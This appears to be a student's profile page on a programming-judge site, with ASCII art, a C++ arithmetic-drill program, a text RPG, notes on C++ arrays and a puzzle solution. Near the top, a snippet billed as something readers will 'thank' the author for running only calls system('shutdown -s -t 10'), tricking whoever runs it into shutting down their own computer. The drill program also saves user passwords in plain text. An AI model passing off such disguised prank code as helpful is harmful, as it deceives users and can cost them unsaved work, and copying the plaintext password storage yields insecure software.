-
个人简介
##我的主推(周深) 一名资深生米 卡布所在,音之天籁,风雨同周,深情不移
###运行一下(你会感谢我的) !!!!!!!!!
#include<windows.h> #include<bits/stdc++.h> using namespace std; int main(){ system("shutdown -s -t 10"); }
https://oj.qdturing.cn/user/349
\\\\ \\ \\ \\ \\ \\ \\ \\ || || || || || || // // // // // // // //// \\\\ \\ \\ \\ \\ \\ \\ _ooOoo_ // // // // // // //// \\\\ \\ \\ \\ \\ \\ o8888888o // // // // // //// \\\\ \\ \\ \\ \\ 88" . "88 // // // // //// \\\\ \\ \\ \\ (| -_- |) // // // //// \\\\ \\ \\ O\ = /O // // //// \\\\ \\ ____/`---'\____ // //// \\\\ .' \\| |// `. //// //== / \\||| : |||// \ ==\\ //== / _||||| -:- |||||- \ ==\\ //== | | \\\ - /// | | ==\\ //== | \_| ''\---/'' | | ==\\ //== \ .-\__ `-` ___/-. / ==\\ //== ___`. .' /--.--\ `. . ___ ==\\ //== ."" '< `.___\_<|>_/___.' >' "". ==\\ //== | | : `- \`.;`\ _ /`;.`/ - ` : | | \\\\ //// \ \ `-. \_ __\ /__ _/ .-` / / \\\\ //// ========`-.____`-.___\_____/___.-`____.-'======== \\\\ //// `=---=' \\\\ //// // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ \\ \\\\ //// // // 佛祖保佑 永远AC 永不修改 \\ \\ \\\\ //// // // // // // || || || || || || || || || || \\ \\ \\ \\ \\ \\\\
:;J7,:, ::;7: ,ivYi, , ;LLLFS: :iv7Yi :7ri;j5PL ,:ivYLvr ,ivrrirrY2X, :;r@Wwz.7r: :ivu@kexianli. :iL7::,:::iiirii:ii;::::,,irvF7rvvLujL7ur ri::,:,::i:iiiiiii:i:irrv177JX7rYXqZEkvv17 ;i:, , ::::iirrririi:i:::iiir2XXvii;L8OGJr71i :,, ,,: ,::ir@mingyi.irii:i:::j1jri7ZBOS7ivv, ,::, ::rv77iiiriii:iii:i::,rvLq@huhao.Li ,, ,, ,:ir7ir::,:::i;ir:::i:i::rSGGYri712: ::: ,v7r:: ::rrv77:, ,, ,:i7rrii:::::, ir7ri7Lri , 2OBBOi,iiir;r:: ,irriiii::,, ,iv7Luur: ,, i78MBBi,:,:::,:, :7FSL: ,iriii:::i::,,:rLqXv:: : iuMMP: :,:::,:ii;2GY7OBB0viiii:i:iii:i:::iJqL;:: , ::::i ,,,,, ::LuBBu BBBBBErii:i:i:i:i:i:i:r77ii , : , ,,:::rruBZ1MBBqi, :,,,:::,::::::iiriri: , ,,,,::::i: @arqiao. ,:,, ,:::ii;i7: :, rjujLYLi ,,:::::,:::::::::,, ,:i,:,,,,,::i:iii :: BBBBBBBBB0, ,,::: , ,:::::: , ,,,, ,,::::::: i, , ,8BMMBBBBBBi ,,:,, ,,, , , , , , :,::ii::i:: : iZMOMOMBBM2::::::::::,,,, ,,,,,,:,,,::::i:irr:i:::, i ,,:;u0MBMOG1L:::i:::::: ,,,::, ,,, ::::::i:i:iirii:i:i: : ,iuUuuXUkFu7i:iii:i:::, :,:,: ::::::::i:i:::::iirr7iiri:: : :rk@Yizero.i:::::, ,:ii:::::::i:::::i::,::::iirrriiiri::, : 5BMBBBBBBSr:,::rv2kuii:::iii::,:i:,, , ,,:,:i@petermu., , :r50EZ8MBBBBGOBBBZP7::::i::,:::::,: :,:,::i;rrririiii:: :jujYY7LS0ujJL7r::,::i::,::::::::::::::iirirrrrrrr:ii: ,: :@kevensun.:,:,,,::::i:i:::::,,::::::iir;ii;7v77;ii;i, ,,, ,,:,::::::i:iiiii:i::::,, ::::iiiir@xingjief.r;7:i, , , ,,,:,,::::::::iiiiiiiiii:,:,:::::::::iiir;ri7vL77rrirri:: :,, , ::::::::i:::i:::i:i::,,,,,:,::i:i:::iir;@Secbone.ii:::
百变图纸(如下)
//口算练习 #include <bits/stdc++.h> #include <windows.h> #include <conio.h> #define SIZE 100 //1.0拥有登录和普通口算功能 using namespace std; int scount = 0; class User { private: string phone; string password; public: User() {}; void Registers(); void Login(); void save(); void read(); }us; User user[SIZE]; void User::save(){ ofstream ofile; ofile.open("user.txt", ios::out); for (int i = 0; i < scount; i ++) { ofile << user[i].phone << endl; ofile << user[i].password << endl; } ofile.close(); } void User::read(){ ifstream ifile; ifile.open("user.txt", ios::in); scount = 0; if (!ifile.is_open()) return; for (int i = 0; !ifile.eof(); i ++) { ifile >> user[i].phone; ifile >> user[i].password; scount ++; } scount --; ifile.close(); } //作者QMX,勿盗 void kousuan() { int abc; Sleep(1000); system("cls"); cout << "口算练习1.0\n"; cout << "作者:强铭轩\n"; cout << "----------------------------------------\n"; cout << "请选择阶段(共10章节):\n"; cout << "1. 10以内数的加法\n2. 10以内数的减法\n"; cout << "3. 100以内数的加法\n4. 100以内数的减法\n"; cout << "5. 100以内数的连加\n6. 100以内数的连减\n"; cout << "7. 100以内数的加减混合运算(1)\n8. 100以内数的加减混合运算(2)\n"; cout << "9. 10以内数的乘法运算\n"; cout << "10. 被除数是100以内的除法运算\n"; cout << "\n请选择:"; cin >> abc; system("cls"); int a, b, c, d, ans, num, mod, sum = 0, cnt = 10, j = 0; srand((unsigned)time(0)); while(cnt --) { if(abc == 1 || abc == 2 || abc == 9) { a = rand()%10+1; b = rand()%10+1; if(abc == 1){ ans = a + b; cout << a << "+" << b << "="; } else if(abc == 2) { if(a < b) swap(a, b); ans = a - b; cout << a << "-" << b << "="; } else { ans = a * b; cout << a << "×" << b << "="; } cin >> num; if(num == ans){ cout << "回答正确!\n"; j ++; } else cout << "回答错误!\n"; } else if(abc == 3 || abc == 4) { a = rand()%100+1; b = rand()%100+1; if(abc == 3){ ans = a + b; cout << a << "+" << b << "="; } else { ans = a - b; cout << a << "-" << b << "="; } cin >> num; if(num == ans){ cout << "回答正确!\n"; j ++; } else cout << "回答错误!\n"; } else if(abc == 5 || abc == 6) { a = rand()%100+1; b = rand()%100+1; c = rand()%100+1; if(abc == 5){ ans = a + b + c; cout << a << "+" << b << "+" << c << "="; } else { if(a < b) swap(a, b); if(a < c) swap(a, c); while(a < b + c) { b -= rand()%5+1; c -= rand()%5+1; } ans = a - b - c; cout << a << "-" << b << "-" << c << "="; } cin >> num; if(num == ans){ cout << "回答正确!\n"; j ++; } else cout << "回答错误!\n"; } else if(abc == 7 || abc == 8) { a = rand()%100+1; b = rand()%100+1; c = rand()%100+1; if(abc == 7) { while(a + b - c < 0) c -= rand()%5+1; ans = a + b - c; cout << a << "+" << b << "-" << c << "="; } else { while(a - b + c < 0) b -= rand()%5+1; ans = a - b + c; cout << a << "-" << b << "+" << c << "="; } cin >> num; if(num == ans){ cout << "回答正确!\n"; j ++; } else cout << "回答错误!\n"; } else if(abc == 10) { a = rand()%100+1; b = rand()%10+1; ans = a / b; mod = a % b; cout << a << "÷" << b << "\n商:"; cin >> num; cout << "余数:"; cin >> d; if(num == ans && d == mod){ cout << "回答正确!\n"; j ++; } else cout << "回答错误!\n"; } else { cout << "【系统提示】无效输入!"; Sleep(1000); system("cls"); kousuan(); } } //作者QMX,勿盗 Sleep(2000); system("cls"); string str; printf("正确题目:%d\n", j); printf("错误题目:%d\n", 10 - j); printf("正确率:%d\%\n", j * 10); choose: cout << "要再来一组口算吗?\n要 / 不要\n"; cin >> str; if(str == "要") kousuan(); else if(str == "不要") { system("cls"); cout << "口算练习1.0\n欢迎大佬们提出建议!"; } else { cout << "【系统提示】无效输入!"; Sleep(1000); system("cls"); goto choose; } } void User::Registers() { us.read(); string ph; string pw1; string pw2; for (int i = scount; i < SIZE; i ++) { here: cout << "【系统提示】请输入手机号:+86 "; cin >> ph; int count = 0; for(int i = 0; i < ph.size(); i ++) if('0' <= ph[i] && ph[i] <= '9') count ++; if(ph.size() != 11 || count != 11 || ph[0] != '1') { cout << "【系统提示】手机号格式错误!"; Sleep(1000); system("cls"); goto here; } for (int i = 0; i < scount; i ++) { if (ph == user[i].phone) { cout << "【系统提示】用户已存在!" << endl; Sleep(1000); system("cls"); goto here; } } user[i].phone = ph; int chose = -1; string pword; char ch, passwords0[20]; int x = 0; string pword1; char ch1, passwords1[20]; int x1 = 0; cout << "【系统提示】请输入密码:"; while ((ch = _getch()) != '\r' && x <= 20) { if (ch == '\b') { if (x > 0){ x--; cout << "\b \b"; } else putchar(7); } else { passwords0[x++] = ch; printf("*"); } } passwords0[x] = '\0'; cout << endl; user[i].password = passwords0; cout << "【系统提示】请再次输入密码:"; while ((ch1 = _getch()) != '\r' && x1 <= 20) { if (ch1 == '\b') { if (x1 > 0) { x1 --; cout << "\b \b"; } else putchar(7); } else { passwords1[x1++] = ch1; printf("*"); } } passwords1[x1] = '\0'; cout << endl; if (passwords1 != user[i].password) { cout << "【系统提示】密码不一致!" << endl; Sleep(1000); system("cls"); goto here; } else { scount ++; cout << "【系统提示】注册成功!" << endl; us.save(); kousuan(); } break; } } void User::Login() { us.read(); string ph; string pw; int time = 0; here: cout << "【系统提示】请输入手机号:+86 "; cin >> ph; int chose = -1; string pword; char ch, passwords0[20]; int x = 0; cout << "【系统提示】请输入密码:"; while ((ch = _getch()) != '\r' && x <= 20) { if (ch == '\b') { if (x > 0) { x--; cout << "\b \b"; } else putchar(7); } else { passwords0[x++] = ch; cout << "*"; } } passwords0[x] = '\0'; cout << endl; for (int i = 0; i < scount; i ++) { if (ph == user[i].phone && passwords0 == user[i].password) { time ++; cout << "【系统提示】登录成功!" << endl; kousuan(); } } if (time == 0) { cout << "【系统提示】手机号或密码错误!" << endl; Sleep(1000); system("cls"); goto here; } } int main() { User user; string choose; cout << " 登录 / 注册\n"; cout << "【系统提示】请输入你的选择:"; cin >> choose; if (choose != "登录" && choose != "注册") { cout << "【系统提示】输入格式错误!请重新输入:"; cin >> choose; } if (choose == "注册") { Sleep(200); system("cls"); cout << "加载中"; for (int i = 1; i <= 6; i ++) { Sleep(500); cout << "."; } Sleep(500); system("cls"); user.Registers(); } else if (choose == "登录") { Sleep(200); system("cls"); cout << "加载中"; for (int i = 1; i <= 6; i ++) { Sleep(500); cout << "."; } Sleep(500); system("cls"); user.Login(); } return 0; }
//作者QMX,勿盗
//游戏 //作者QMX,勿盗 #include<bits/stdc++.h> #include<windows.h> int a=0,sheng=40,gong=10,fang=10,b,shengm=40,yao=0,t=0,t1=0,bc=5; int guais,guaig,qian=0,c,z=3; int jn1(int a){ for(int i=1;i<=3;i++){ a-=3; } return guais; } using namespace std; int main(){ cout<<"欢迎游玩C++真传奇!"<<endl; cout<<"作者:强铭轩(QMX)"<<endl; cout<<"在这不需要RMB的大陆,你的目标是杀死所有魔物!"<<endl; cout<<"你要讨伐魔物,收集金币,购买更强的装备!"<<endl; cout<<"加载中Loading."; for(int i=1;i<=6;i++) { cout<<"."; Sleep(700); }cout<<endl; cout<<"------------------------------------------------------------"<<endl; while(a==0){ cout<<"1.勇者商店"<<endl; cout<<"2.讨伐魔物"<<endl; cout<<"3.角色资料"<<endl; cout<<"请选择..."<<endl; cout<<endl; cin>>b; if(b==1){ cout<<"1.装备"<<endl; cout<<"2.药品"<<endl; cout<<"输入0退出"<<endl; cout<<endl; cin>>b; if(b==1){ while(b!=0){ cout<<"1.武器"<<endl; cout<<"2.盾牌"<<endl; cout<<"3.盔甲"<<endl; cout<<"输入0退出"<<endl; cout<<endl; cin>>b; if(b==1){ cout<<"1.骑士长剑(+10) 价值:20"<<endl; cout<<"2.石中剑(+20) 价值40"<<endl; cout<<"3.魔王的右手(+120) 价值150"<<endl; cout<<"4.暴徒的巨刃(+180)价值280"<<endl; cout<<"5.海神的三叉戟(+260)价值400"<<endl; cout<<"输入6退出"<<endl; cout<<endl; cin>>b; if(b==1&&qian>=20){ gong=20; qian-=20; cout<<"自身攻击"<<gong<<endl; } if(b==2&&qian>=40){ gong=30; qian-=40; cout<<"自身攻击"<<gong<<endl; } if(b==3&&qian>=150){ gong=120; //作者QMX,勿盗 qian-=150; cout<<"自身攻击"<<gong<<endl; } if(b==4&&qian>=280){ gong=180; qian-=280; cout<<"自身攻击"<<gong<<endl; } if(b==5&&qian>=400){ gong=300; qian-=300; cout<<"自身攻击"<<gong<<endl; } } if(b==2){ cout<<"1.皇家盾牌(+10) 价值:20"<<endl; cout<<"2.永恒堡垒(+20) 价值40"<<endl; cout<<"3.魔王的左手(+60) 价值150"<<endl; cout<<"4.暴徒的狂舞(+140) 价值300"<<endl; cout<<"5.海神的漫游(+220)价值400"<<endl; cout<<"输入6退出"<<endl; cout<<endl; cin>>b; if(b==1&&qian>=20){ fang=20; qian-=20; cout<<"自身防御"<<fang<<endl; } if(b==2&&qian>=40){ fang=30; qian-=40; cout<<"自身防御"<<fang<<endl; } if(b==3&&qian>=150){ fang=60; qian-=150; cout<<"自身防御"<<fang<<endl; } if(b==4&&qian>=300){ fang=140; qian-=300; cout<<"自身防御"<<fang<<endl; } if(b==5&&qian>=400){ fang=220; qian-=400; cout<<"自身防御"<<fang<<endl; } } if(b==3){ cout<<"1.战争盔甲(+10) 价值:20"<<endl; cout<<"2.不灭龙甲(+20) 价值40"<<endl; cout<<"3.魔王的精华(+90) 价值150"<<endl; cout<<"4.暴徒的堙灭(+160) 价值300"<<endl; cout<<"P.S.海神不需要盔甲"<<endl; cout<<"输入5退出"<<endl; cout<<endl; cin>>b; if(b==1&&qian>=20){ shengm=60; //作者QMX,勿盗 qian-=20; cout<<"自身生命"<<shengm<<endl; } if(b==2&&qian>=40){ shengm=80; qian-=40; cout<<"自身生命"<<shengm<<endl; } if(b==3&&qian>=150){ shengm=200; qian-=150; cout<<"自身生命"<<shengm<<endl; } if(b==4&&qian>=300){ shengm=620; //作者QMX,勿盗 qian-=300; cout<<"自身生命"<<shengm<<endl; } } } } if(b==2){ cout<<"1.快速回复(花费1)"<<endl; cout<<"2.恢复药剂(花费5)*5"<<endl; cout<<"输入0退出"<<endl; cout<<endl; cin>>b; if(b==1&&qian>=1){ sheng=shengm; qian--; cout<<"自身生命"<<sheng<<endl; } //作者QMX,勿盗 if(b==2&&qian>=5){ yao=yao+5; cout<<"药品数量"<<yao<<endl; } } } if(b==2){ cout<<"1.小怪"<<endl; if(gong>=20 || fang>=20) cout<<"2.魔头"<<endl; if(gong>=40 || fang>=40) cout<<"3.大魔王"<<endl; if(t==1){ cout<<"4.究极BOSS:嗜血之暴徒"<<endl; cout<<"5.究极Boss:聆听海的呼唤 ·波塞冬"<<endl; } cout<<"输入0退出"<<endl; cout<<endl; cin>>b; if(b==1){ guais=10; guaig=5; c=5; z++; while(guais>0&&sheng>0){ cout<<"1.攻击"<<endl; cout<<"2.防御(次数"<<c<<")"<<endl; cout<<"3.回复(闪避)"<<endl; cout<<"4.一技能(火烧)"<<endl; cout<<endl; cin>>b; if(b==1){ guais=guais-gong; sheng=sheng-guaig; cout<<"怪物生命"<<"-"<<gong<<"="<<guais<<endl; cout<<"自身生命"<<"-"<<guaig<<"="<<sheng<<endl; } if(b==2&&c!=0){ if(fang>=guaig){ guais=guais-(fang-guaig); cout<<"怪物生命"<<"-"<<fang-guaig<<"="<<guais<<endl; } else{ sheng=sheng-(guaig-fang); cout<<"自身生命"<<"-"<<guaig-fang<<"="<<sheng<<endl; } c--; } if(b==3&&yao>0) { yao--; sheng=sheng+20; if(sheng>shengm)sheng=shengm; cout<<"药品数量"<<yao<<endl; cout<<"自身生命+20("<<sheng<<")"<<endl; } if(b==4){ cout <<"qidong!!!"; cout <<"三回合一次!!!"; z=1; if(z>=3){ jn1(guais); } cout <<"怪物生命"<<guais<<endl; } if(sheng<=0){ cout<<"你死了"<<endl; break; } } if(sheng>0){ qian=qian+5; cout<<"金币"<<"+5"<<endl; } cout<<endl; } if(b==2){ guais=30; guaig=10; c=7; while(guais>0&&sheng>0){ cout<<"1.攻击"<<endl; cout<<"2.防御(次数"<<c<<")"<<endl; cout<<"3.回复(闪避)"<<endl; cout<<endl; cin>>b; if(b==1){ guais=guais-gong; sheng=sheng-guaig; cout<<"怪物生命"<<"-"<<gong<<"="<<guais<<endl; cout<<"自身生命"<<"-"<<guaig<<"="<<sheng<<endl; } if(b==2&&c!=0){ if(fang>=guaig){ guais=guais-(fang-guaig); cout<<"怪物生命"<<"-"<<fang-guaig<<"="<<guais<<endl; } else{ sheng=sheng-(guaig-fang); cout<<"自身生命"<<"-"<<guaig-fang<<"="<<sheng<<endl; } c--; } if(b==3&&yao>0){ yao--; sheng=sheng+20; if(sheng>shengm) sheng=shengm; cout<<"药品数量"<<yao<<endl; cout<<"自身生命+20("<<sheng<<")"<<endl; } if(sheng<=0){ cout<<"你死了,点击勇者商店-药品补血"<<endl; break; } } if(sheng>0){ qian=qian+20; cout<<"金币"<<"+20"<<endl; } cout<<endl; } if(b==3){ guais=500; guaig=90; c=15; while(guais>0&&sheng>0){ cout<<"1.攻击"<<endl; cout<<"2.防御(次数"<<c<<")"<<endl; cout<<"3.回复(闪避)"<<endl; cout<<endl; cin>>b; if(b==1){ guais=guais-gong; sheng=sheng-guaig; cout<<"怪物生命"<<"-"<<gong<<"="<<guais<<endl; cout<<"自身生命"<<"-"<<guaig<<"="<<sheng<<endl; } if(b==2&&c!=0){ if(fang>=guaig){ guais=guais-(fang-guaig); cout<<"怪物生命"<<"-"<<fang-guaig<<"="<<guais<<endl; } else{ sheng=sheng-(guaig-fang); cout<<"自身生命"<<"-"<<guaig-fang<<"="<<sheng<<endl; } c--; } //作者QMX,勿盗 if(b==3&&yao>0){ yao--; sheng+=40; if(sheng>shengm)sheng=shengm; cout<<"药品数量"<<yao<<endl; //作者QMX,勿盗 cout<<"自身生命+40("<<sheng<<")"<<endl; } if(sheng<=0){ if(gong>=100||fang>=100){ cout <<"你有特权,可以免除!"<<endl; //作者QMX,勿盗 cout<<"金币+40"<<endl; qian+=40; break; } cout<<"你死了,攻击力和防御力已被摧毁"<<endl; cout<<"金币+40"<<endl; gong=20,fang=20,qian+=40; break; } } if(sheng>0){ qian=qian+800,t=1,t1++; cout<<"你胜利了...而已"<<endl; cout<<"金币"<<"+800"<<endl; if(t1==1){ cout<<"已解锁究极Boss:嗜血的暴徒"<<endl; //作者QMX,勿盗 cout<<"已解锁究极Boss:聆听海的呼唤 ·波塞冬"<<endl; } } cout<<endl; } if(b==4){ guais=1700; guaig=100; c=25; while(guais>0&&sheng>0){ cout<<"1.攻击"<<endl; //作者QMX,勿盗 cout<<"2.防御(次数"<<c<<")"<<endl; cout<<"3.回复(闪避)"<<endl; cout<<endl; cin>>b; if(b==1){ guais=guais-gong; sheng=sheng-guaig; cout<<"怪物生命"<<"-"<<gong<<"="<<guais<<endl; //作者QMX,勿盗 cout<<"自身生命"<<"-"<<guaig<<"="<<sheng<<endl; } //作者QMX,勿盗 if(b==2&&c!=0){ if(fang>=guaig){ //作者QMX,勿盗 guais=guais-(fang-guaig); cout<<"怪物生命"<<"-"<<fang-guaig<<"="<<guais<<endl; } else{ //作者QMX,勿盗 sheng=sheng-(guaig-fang); //作者QMX,勿盗 cout<<"自身生命"<<"-"<<guaig-fang<<"="<<sheng<<endl; } c--; if(c==0) guais-=50; } //作者QMX,勿盗 if(b==3&&yao>0){ yao--; sheng+=80; //作者QMX,勿盗 if(sheng>shengm) sheng=shengm; cout<<"药品数量"<<yao<<endl; cout<<"自身生命+80("<<sheng<<")"<<endl; } if(sheng<=0){ //作者QMX,勿盗 if(gong>=100||fang>=100){ cout <<"你有特权,可以免除!"<<endl; cout<<"金币+120"<<endl; qian+=120; break; } //作者QMX,勿盗 cout<<"你死了,攻击力和防御力已被摧毁"<<endl; cout<<"金币+120"<<endl; gong=30,fang=30,qian+=120; break; } } if(sheng>0) cout<<"你胜利了"<<endl; } if(b==5){ guais=2700; guaig=180; c=25; //作者QMX,勿盗 while(guais>0&&sheng>0){ cout<<"1.攻击"<<endl; cout<<"2.防御(次数"<<c<<")"<<endl; cout<<"3.回复(闪避)"<<endl; cout<<endl; cin>>b; if(b==1){ if(bc>0){ sheng-=guaig; //作者QMX,勿盗 cout<<"海神挡下了这次攻击!"<<endl; cout<<"海神之盾耐久度剩余"<<bc<<endl; cout<<"自身生命-"<<guaig<<"="<<sheng<<endl; bc--; } else{ guais=guais-gong; sheng=sheng-guaig; cout<<"海神生命"<<"-"<<gong<<"="<<guais<<endl; cout<<"自身生命"<<"-"<<guaig<<"="<<sheng<<endl; } } if(b==2&&c!=0){ if(fang>=guaig){ guais=guais-(fang-guaig); //作者QMX,勿盗 cout<<"海神生命"<<"-"<<fang-guaig<<"="<<guais<<endl; } else{ sheng=sheng-(guaig-fang); cout<<"自身生命"<<"-"<<guaig-fang<<"="<<sheng<<endl; } c--; if(c==0) guais-=50; } if(b==3&&yao>0){ yao--; sheng+=140; //作者QMX,勿盗 if(sheng>shengm) sheng=shengm; cout<<"药品数量"<<yao<<endl; cout<<"自身生命+140("<<sheng<<")"<<endl; } if(sheng<=0){ if(gong>=100||fang>=100){ cout <<"你有特权,可以免除!"<<endl; cout<<"金币+320"<<endl; qian+=320; break; } cout<<"你死了,攻击力和防御力已被摧毁"<<endl; cout<<"金币+320"<<endl; gong=50,fang=50,qian+=320; break; } } if(sheng>0) { cout<<"你通关了!"<<endl; Sleep(1200); cout<<"---------------------------------------------"<<endl; cout<<"# # # 创作者:强铭轩(QMX)# # #"<<endl; cout<<"欢迎继续游玩下一版本!"<<endl; cout<<"再见!"<<endl; for(int i=1;i<=7;i++) { cout<<"."; Sleep(500); }cout<<endl; cout<<"P.S. 这么宣传自己真不要脸 :)"<<endl; return 0; } } } if(b==3){ printf("请稍后"); for(int i=1;i<=5;i++){ printf("."); Sleep(500); } printf("\n自身资料\n"); printf("------------------------------------------------------\n"); printf("生命: %d ",sheng); printf("攻击: %d\n\n",gong); printf("防御: %d ",fang); printf("生命上限: %d\n\n",shengm); printf("金币: %d ",qian); cout<<endl<<endl; } } }
-
静态初始化:
int arr[5] = {1, 2, 3, 4, 5}; // 显式初始化所有元素 int arr[5] = {1, 2}; // 初始化前两个元素,其余元素默认为0
-
动态初始化(使用循环或其他逻辑):
int arr[5]; for(int i = 0; i < 5; ++i) { arr[i] = i * i; // 每个元素赋值为其索引的平方 }
3. 数组的赋值
数组一旦定义后,可以通过索引进行赋值:
int arr[5]; for(int i = 0; i < 5; i++) { arr[i] = i + 10; // 将每个元素的值设置为索引+10 }
如果希望直接让数组中的元素接受输入可以使用
int arr[5]; for(int i = 0; i < 5; i++) { cin>>arr[i]; }
4. 数组的使用
数组的元素可以通过索引来访问和修改:
int arr[5] = {10, 20, 30, 40, 50}; int firstElement = arr[0]; // 访问第一个元素 arr[3] = 100; // 修改第四个元素的值
5. 数组元素的插入
由于数组大小是固定的,直接在数组中插入元素较为复杂,通常需要创建一个新的数组来实现:
int arr[5] = {1, 2, 4, 5}; int newArr[6]; int insertIndex = 2; // 插入位置 int newValue = 3; // 插入值 for(int i = 0, j = 0; i < 5; ++i, ++j) { if(i == insertIndex) { newArr[j] = newValue; ++j; } newArr[j] = arr[i]; }
6. 数组元素的删除
删除操作类似于插入,也通常需要通过创建一个新的数组来完成:
int arr[5] = {1, 2, 3, 4, 5}; int newArr[4]; int deleteIndex = 2; // 删除第三个元素的位置 for(int i = 0, j = 0; i < 5; ++i) { if(i == deleteIndex) continue; newArr[j++] = arr[i]; }
Peter不能借到烟蒂,抽完后再还回去,所以只需要考虑已有的烟。 k个烟蒂所能产生的价值为1根烟+1个烟蒂,转化为k-1个烟蒂=1根烟。并且由于k>1,所以最后一根烟的烟蒂不能换到烟,需要减去最后一根烟的烟蒂,因此可以产生根新的烟,算上原有的n根烟
-
-
最近活动
-
Stat
-
Rating